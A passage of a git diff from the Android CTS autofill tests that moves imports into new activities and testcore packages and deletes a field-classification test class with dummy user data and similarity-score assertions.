-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-
-        assertThat(mNotImportantContainerMixedDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mNotImportantContainerMixedDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mNotImportantContainerMixedDescendantsGrandChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-
-        assertThat(mViewWithAutofillHints.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-        assertThat(mViewWithAutofillHints.isImportantForAutofill()).isTrue();
-    }
-
-    /**
-     * Visits the {@code input} in the UiThread.
-     */
-    void onInput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> {
-            v.visit(mInput);
-        });
-    }
-
-    /**
-     * Custom view that defines an autofill type so autofill hints are set on {@code ViewNode}.
-     */
-    public static class MyView extends View {
-        public MyView(Context context, AttributeSet attrs) {
-            super(context, attrs);
-        }
-
-        @Override
-        public int getAutofillType() {
-            return AUTOFILL_TYPE_TEXT;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
index 456f5cf..a24936c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
@@ -15,27 +15,27 @@
  */
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.FatActivity.ID_CAPTCHA;
-import static android.autofillservice.cts.FatActivity.ID_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_INPUT;
-import static android.autofillservice.cts.FatActivity.ID_INPUT_CONTAINER;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_ROOT;
-import static android.autofillservice.cts.Helper.findNodeByAutofillHint;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByText;
-import static android.autofillservice.cts.Helper.getNumberNodes;
-import static android.autofillservice.cts.Helper.importantForAutofillAsString;
+import static android.autofillservice.cts.activities.FatActivity.ID_CAPTCHA;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMAGE;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_IMAGE;
+import static android.autofillservice.cts.activities.FatActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.FatActivity.ID_INPUT_CONTAINER;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_ROOT;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.findNodeByAutofillHint;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByText;
+import static android.autofillservice.cts.testcore.Helper.getNumberNodes;
+import static android.autofillservice.cts.testcore.Helper.importantForAutofillAsString;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
@@ -46,7 +46,10 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.activities.FatActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 
 import org.junit.Test;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
deleted file mode 100644
index 99debab..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ /dev/null
@@ -1,856 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.GridActivity.ID_L2C1;
-import static android.autofillservice.cts.GridActivity.ID_L2C2;
-import static android.autofillservice.cts.Helper.assertFillEventForContextCommitted;
-import static android.autofillservice.cts.Helper.assertFillEventForFieldsClassification;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.provider.Settings.Secure.AUTOFILL_FEATURE_FIELD_CLASSIFICATION;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.Helper.FieldClassificationResult;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.UserData;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-
-import org.junit.ClassRule;
-import org.junit.Test;
-
-import java.util.List;
-import java.util.concurrent.atomic.AtomicReference;
-
-@AppModeFull(reason = "Service-specific test")
-public class FieldsClassificationTest extends AbstractGridActivityTestCase {
-
-    @ClassRule
-    public static final SettingsStateChangerRule sFeatureEnabler =
-            new SettingsStateChangerRule(sContext, AUTOFILL_FEATURE_FIELD_CLASSIFICATION, "1");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
-            new SettingsStateChangerRule(sContext,
-                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "9");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMinValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxCategoryChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
-
-    private AutofillManager mAfm;
-    private final Bundle mLast4Bundle = new Bundle();
-    private final Bundle mCreditCardBundle = new Bundle();
-
-    @Override
-    protected void postActivityLaunched() {
-        mAfm = mActivity.getAutofillManager();
-        mLast4Bundle.putInt("MATCH_SUFFIX", 4);
-
-        mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
-        mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
-        mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
-    }
-
-    @Test
-    public void testFeatureIsEnabled() throws Exception {
-        enableService();
-        assertThat(mAfm.isFieldClassificationEnabled()).isTrue();
-
-        disableService();
-        assertThat(mAfm.isFieldClassificationEnabled()).isFalse();
-    }
-
-    @Test
-    public void testGetAlgorithm() throws Exception {
-        enableService();
-
-        // Check algorithms
-        final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
-        assertThat(names.size()).isAtLeast(1);
-        final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
-        assertThat(defaultAlgorithm).isNotEmpty();
-        assertThat(names).contains(defaultAlgorithm);
-
-        // Checks invalid service
-        disableService();
-        assertThat(mAfm.getAvailableFieldClassificationAlgorithms()).isEmpty();
-    }
-
-    @Test
-    public void testUserData() throws Exception {
-        assertThat(mAfm.getUserData()).isNull();
-        assertThat(mAfm.getUserDataId()).isNull();
-
-        enableService();
-        mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
-                .build());
-        assertThat(mAfm.getUserData()).isNotNull();
-        assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
-        final UserData userData = mAfm.getUserData();
-        assertThat(userData.getId()).isEqualTo("user_data_id");
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getFieldClassificationAlgorithms()).isNull();
-
-        disableService();
-        assertThat(mAfm.getUserData()).isNull();
-        assertThat(mAfm.getUserDataId()).isNull();
-    }
-
-    @Test
-    public void testRequiredAlgorithmsAvailable() throws Exception {
-        enableService();
-        final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
-        assertThat(availableAlgorithms).isNotNull();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
-    }
-
-    @Test
-    public void testUserDataConstraints() throws Exception {
-        // NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
-        // make sure the getters below are reading the right property.
-        assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
-        assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
-        assertThat(UserData.getMinValueLength()).isEqualTo(4);
-        assertThat(UserData.getMaxValueLength()).isEqualTo(50);
-        assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
-    }
-
-    @Test
-    public void testHit_oneUserData_oneDetectableField() throws Exception {
-        simpleHitTest(false, null);
-    }
-
-    @Test
-    public void testHit_invalidAlgorithmIsIgnored() throws Exception {
-        // For simplicity's sake, let's assume that name will never be valid..
-        String invalidName = " ALGORITHM, Y NO INVALID? ";
-
-        simpleHitTest(true, invalidName);
-    }
-
-    @Test
-    public void testHit_userDataAlgorithmIsReset() throws Exception {
-        simpleHitTest(true, null);
-    }
-
-    @Test
-    public void testMiss_exactMatchAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "t 1234", "cat")
-                .setFieldClassificationAlgorithmForCategory("cat",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "t 5678");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), null);
-    }
-
-    @Test
-    public void testHit_exactMatchLast4Algorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1234", "cat")
-                .setFieldClassificationAlgorithmForCategory("cat",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "T1234");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
-    }
-
-    @Test
-    public void testHit_CreditCardAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1122334455667788", "card")
-                .setFieldClassificationAlgorithmForCategory("card",
-                        REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "7788");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
-    }
-
-    @Test
-    public void testHit_useDefaultAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1234", "cat")
-                .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .setFieldClassificationAlgorithmForCategory("dog",
-                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "T1234");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
-    }
-
-    private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final UserData.Builder userData = new UserData.Builder("id", "FULLY", "myId");
-        if (setAlgorithm) {
-            userData.setFieldClassificationAlgorithm(algorithm, null);
-        }
-        mAfm.setUserData(userData.build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "myId", 1);
-    }
-
-    @Test
-    public void testHit_sameValueForMultipleCategories() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "FULLY", "cat1")
-                .add("FULLY", "cat2")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId.get(),
-                                new String[] { "cat1", "cat2"},
-                                new float[] {1, 1})
-                });
-    }
-
-    @Test
-    public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
-        manyUserData_oneDetectableField(true);
-    }
-
-    @Test
-    public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
-        manyUserData_oneDetectableField(false);
-    }
-
-    private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "Iam1ST", "1stId")
-                .add("Iam2ND", "2ndId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, firstMatch ? "IAM111" : "IAM222");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        // Best match is 0.66 (4 of 6), worst is 0.5 (3 of 6)
-        if (firstMatch) {
-            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
-                    new FieldClassificationResult(fieldId.get(), new String[] { "1stId", "2ndId" },
-                            new float[] { 0.66F, 0.5F })});
-        } else {
-            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
-                    new FieldClassificationResult(fieldId.get(), new String[] { "2ndId", "1stId" },
-                            new float[] { 0.66F, 0.5F }) });
-        }
-    }
-
-    @Test
-    public void testHit_oneUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // 100%
-        mActivity.setText(1, 2, "fooly"); // 60%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(), "myId", 1.0F),
-                        new FieldClassificationResult(fieldId2.get(), "myId", 0.6F),
-                });
-    }
-
-    @Test
-    public void testHit_manyUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId")
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
-        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
-        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId4.get(),
-                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
-    }
-
-    @Test
-    public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .setFieldClassificationAlgorithmForCategory("myId",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .setFieldClassificationAlgorithmForCategory("otherId",
-                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "E1234"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:   0% u2: 100%
-        mActivity.setText(2, 1, "fULLy"); // u1:   0% u2:  20%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId" }, new float[] { 1.0F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "otherId" }, new float[] { 0.2F })});
-    }
-
-    @Test
-    public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "zzzzz", "myId") // should not have matched any
-                .add("FULL1", "myId") // match 80%, should not have been reported
-                .add("FULLY", "myId") // match 100%
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
-                })
-                .build());
